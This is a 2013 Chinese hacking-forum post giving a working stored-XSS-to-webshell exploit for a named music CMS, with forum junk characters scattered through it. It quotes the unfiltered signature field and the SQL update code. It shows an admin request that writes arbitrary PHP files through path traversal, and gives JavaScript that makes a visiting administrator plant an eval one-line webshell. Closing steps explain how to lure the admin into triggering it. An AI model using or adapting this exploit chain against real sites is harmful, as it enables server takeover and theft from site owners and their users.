中国网络渗透测试联盟

标题: 程氏舞曲CMSPHP3.0 储存型xss getshell [打印本页]

作者: admin    时间: 2013-11-6 18:09
标题: 程氏舞曲CMSPHP3.0 储存型xss getshell
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
2 q2 y% t+ M3 U- v( u; @" T官网已经修补了,所以重新下了源码
& g4 J. E; \& q因为 后台登入 还需要认证码 所以 注入就没看了。- N& W4 p4 ]: L8 f& g% v
存在 xss
! H! Y( Z0 r" T& o( T" f漏洞文件 user/member/skin_edit.php
  ~+ |: B& z4 b) J2 }. S' T本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:
$ l6 @6 ]5 B$ a. n! D  2 I$ P4 ^  n3 ~0 M, c2 U
</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?># Z: ?1 |$ R( [$ h9 Z
  
  G, f9 b0 [, k9 X1 P: P! }</textarea></td></tr>; {6 q, ?- }* B" k* g' |
  
! [7 `1 O& h5 @' w  `             user/do.php
$ F6 V& h! I* Q2 f8 ]- r5 ~
1 m0 |( p% x9 E' K) b$ |" ?8 k* ~5 y$ I5 u% U5 Q3 G$ V& ~! ?
if($op=='zl'){ //资料( P! ?% X8 ]& T+ H. d, q
  
7 N' J4 ?$ i! F4 @+ u             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))
) I7 N1 d0 B3 Q9 |, _4 S             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));
+ C2 N$ m% l+ r5 S7 r3 N) B% y  
8 y- [5 ]* `% q( n) P) F             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',7 M) w. o/ }& _. q( h
  
; Q; Q+ L6 y! Q7 C# E$ M. K: ~* S: [- w             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'
4 @! ^1 H2 f8 D4 U0 Q, f1 d             where CS_Name='".$cscms_name."'";! g! C8 l% a  S2 y2 Y% M
  : m$ X) B. ]4 |9 D4 _
             if($db->query($sql)){8 L9 b. }, G1 k- y* Y  Q# M5 P
  9 @/ c8 ^# M* C  A' W& M) X2 z4 \1 A
              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));2 a' F8 G* k% r
  % \: {" S5 y- u
             }else{9 Q% c: W  w, l6 P
  : f! E% @/ Q' s2 c1 K
              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));- i/ K9 @8 a& ^+ a, h- f; T+ A$ o
  ; e- s( y/ @3 O# R* Q: K, I
             }
1 P5 ~4 Y! `3 T, E. o, x% J: M
6 @/ \* {* G- X, X6 ?6 a. ~0 s8 A+ D" b7 V% K
没有 过滤导致xss产生。4 m0 z: C8 W3 u" {; P/ N
后台 看了下 很奇葩的是可以写任意格式文件。。
* V# h, m, u! l2 T4 D6 Y0 h+ L抓包。。* J* p% m+ |3 K5 c- b
" F( c: s+ r! ~# n) S. @

* L% |, U) g, g' I% S本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1
! D3 E% d7 K8 L. D& h2 c% W( c, c/ d+ L  + q  q; t/ P, k4 G8 J3 V
Accept: text/html, application/xhtml+xml, */*. w6 }- z. }6 C# Z7 f- n
  % d8 o7 _% N6 x8 w, k
Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php, F' m7 {) n" z7 X
  
0 @) @8 B1 u' f, k( A& }Accept-Language: zh-CN+ i& D# T4 Q. p- P' ?
  
; N) m" M9 }' [7 `8 E3 m( dUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
, B8 X2 S- O! ]0 S  
) X# l: x( r) {; wContent-Type: application/x-www-form-urlencoded4 A! [0 c; x8 g6 ~2 `! s
  3 L% O/ F" F" B
Accept-Encoding: gzip, deflate- |- J. A, S' ^- m/ r. a
  / I( n- q, Z: u' n$ U6 t! @
Host: 127.0.0.14 Y  |8 d0 h0 O! d
  ) S( o) i' W+ U  M, [8 N( U' I
Content-Length: 388 w7 U6 v, P1 p0 t/ Q4 m
  % j. x6 e; q- l: f" [
DNT: 1
3 R7 D& g4 V. Z0 a# b  * W3 I/ o! B4 K/ Y/ `
Connection: Keep-Alive9 ?3 e( D* x8 _1 g& N" D1 |
  
$ }# u3 M" `; E! R+ v, aCache-Control: no-cache
6 \/ G' A7 ^! R0 X/ Z  
, u" y6 M' s, A( X. ECookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594
# m* e6 v+ S2 \1 c9 y  
" Y4 c' ?& I# J! b. l5 `2 S" |2 m- [  ~0 C; L
name=aaa.php&content=%3Cs%3E%3Ca%25%3E$ M9 C0 u' n1 r* B! j8 Y8 I+ h

7 Z, |  x: ^- y- v. _1 G/ D' r) X, W$ f2 f+ Z

4 ?! e# D3 |  Y: f9 K8 B7 U于是 构造js如下。
/ \! [3 U! x. d3 [( W# F8 S* O5 M% e7 j
本帖隐藏的内容<script> ( ]0 `" r7 q5 x) e& P" Q5 d" u! M
thisTHost = top.location.hostname;
0 l) o  V3 D% \& q( g  
& r: `6 o) J8 `; n. X# D# CthisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";
4 s2 @3 {5 l3 y8 ~# G  ~  4 I# C0 Q: ^9 p0 Z* y
function PostSubmit(url, data, msg) { + o& q6 O8 P6 j
    var postUrl = url;
. e" S- \6 Q  @+ U  6 @8 N( ^8 n; X/ T# i# }
    var postData = data;
4 p6 Z4 W# Q4 d- j  T1 \% F    var msgData = msg;
2 M4 m, t! M2 ^2 P! L2 R9 D7 v    var ExportForm = document.createElement("FORM");
+ x# S0 Y( N/ N  G) R9 g    document.body.appendChild(ExportForm);
5 V1 y  _$ z  s    ExportForm.method = "POST"; 4 U  J9 R6 o- f/ L8 M6 Q% d1 ~7 J
    var newElement = document.createElement("input"); + E0 M: b, R& u0 g  f
    newElement.setAttribute("name", "name"); . N! k7 y1 G# I% V: n8 X  n1 C8 A; t
    newElement.setAttribute("type", "hidden"); 8 \, ^5 `- ~) [! Q
    var newElement2 = document.createElement("input"); % c5 W* p6 u3 m& H. p
    newElement2.setAttribute("name", "content");
2 S, g! S1 |0 q- c* ?& ]: ~0 W6 T3 {' j    newElement2.setAttribute("type", "hidden"); ( d# i" g8 E2 w' z3 q9 ?
    ExportForm.appendChild(newElement);
1 E6 M3 s' L; D( r    ExportForm.appendChild(newElement2);
# ]2 e7 v0 i  a. A: W3 [& I    newElement.value = postData;
! D: `# N: U$ O* ]# `) |1 ^) i    newElement2.value = msgData; $ V! o. X" X' ]2 @( Z8 k( D' R
    ExportForm.action = postUrl; & y$ d2 A. h8 w9 Y
    ExportForm.submit();
' S  ^8 p) T  O( J5 C& @+ v$ k4 s};
. @6 V' B: _3 T6 ]$ A  
+ ~$ I( Z4 Q9 o3 R/ I! _PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");
  |5 X# \9 z9 {: r  / p  d; Y0 A8 ?2 W! G& `
</script>
9 c2 t9 g& A6 x8 h/ Z. `1 E6 @4 L  E5 o

% w. Q6 z- [- u8 u; r* i) v9 F/ A+ c# q8 H7 }
http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入7 j. a6 Q3 j/ X: U. M7 Z5 f' s
用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)1 y! u3 Y% m0 g9 J6 L  Q" V- @
就会 在 skins\index\html\目录下生成 roker.php 一句话。
. c/ ^. M, Z& L* g





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2